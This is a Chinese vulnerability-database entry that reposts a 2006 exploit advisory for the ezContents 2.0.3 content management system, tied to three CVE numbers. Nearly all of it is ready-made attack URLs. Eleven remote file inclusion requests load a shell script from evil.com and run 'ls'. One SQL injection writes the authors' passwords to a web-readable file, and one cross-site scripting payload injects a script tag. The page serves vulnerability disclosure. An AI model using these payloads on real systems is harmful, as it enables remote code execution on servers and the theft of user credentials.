ezContents Version 2.0.3 Remote/Local File Inclusion, SQL Injection, XSS

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1053147 漏洞类型
发布时间 2006-09-02 更新时间 2006-09-02
CVE编号 CVE-2006-4479
CVE-2006-4478
CVE-2006-4477
CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2006090007
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
#

# VulnScr: ezContents Version 2.0.3

# Web....: http://www.ezcontents.org/

#

# Date...: Web July 28 10:44 2006

# Credits: DarkFig (gmdarkfig (at) gmail (dot) com [email concealed])

# Vuln...: SQL Injection, Remote/Local File Inclusion, Cross Site Scripting

#

==[ Remote / Local File Inclusion

=================================

http://[...]/modules/diary/event_list.php?GLOBALS[rootdp]=&GLOBALS[admin
_home]=ftps://evil.com/sh.php&cmd=ls

http://[...]/modules/calendar/calendar.php?GLOBALS[rootdp]=&GLOBALS[lang
uage_home]=ftps://evil.com/sh.php&cmd=ls

http://[...]/modules/gallery/gallery_summary.php?GLOBALS[rootdp]=&GLOBAL
S[admin_home]=ftps://evil.com/sh.php&cmd=ls

http://[...]/modules/guestbook/showguestbook.php?GLOBALS[rootdp]=&GLOBAL
S[admin_home]=ftps://evil.com/sh.php&cmd=ls

http://[...]/modules/links/showlinks.php?GLOBALS[rootdp]=&GLOBALS[admin_
home]=ftps://evil.com/sh.php&cmd=ls

http://[...]/modules/news/shownews.php?GLOBALS[rootdp]=&GLOBALS[language
_home]=ftps://evil.com/sh.php&cmd=ls

http://[...]/modules/poll/showpoll.php?GLOBALS[rootdp]=&GLOBALS[language
_home]=ftps://evil.com/sh.php&cmd=ls

http://[...]/modules/reviews/review_summary.php?GLOBALS[rootdp]=&GLOBALS
[admin_home]=ftps://evil.com/sh.php&cmd=ls

http://[...]/modules/search/search.php?GLOBALS[rootdp]=&GLOBALS[language
_home]=ftps://evil.com/sh.php&cmd=ls

http://[...]/modules/toprated/toprated.php?GLOBALS[rootdp]=&GLOBALS[lang
uage_home]=ftps://evil.com/sh.php&cmd=ls

http://[...]/modules/whatsnew/whatsnew.php?GLOBALS[rootdp]=&GLOBALS[lang
uage_home]=ftps://evil.com/sh.php&cmd=ls

==[ SQL Injection

=================

http://[...]/headeruserdata.php?groupname=' UNION SELECT userpassword FROM authors INTO OUTFILE '/www/passwd.txt' #

==[ Cross Site Scripting

========================

http://[...]/loginreq2.php?subgroupname="><script>alert(666)</script>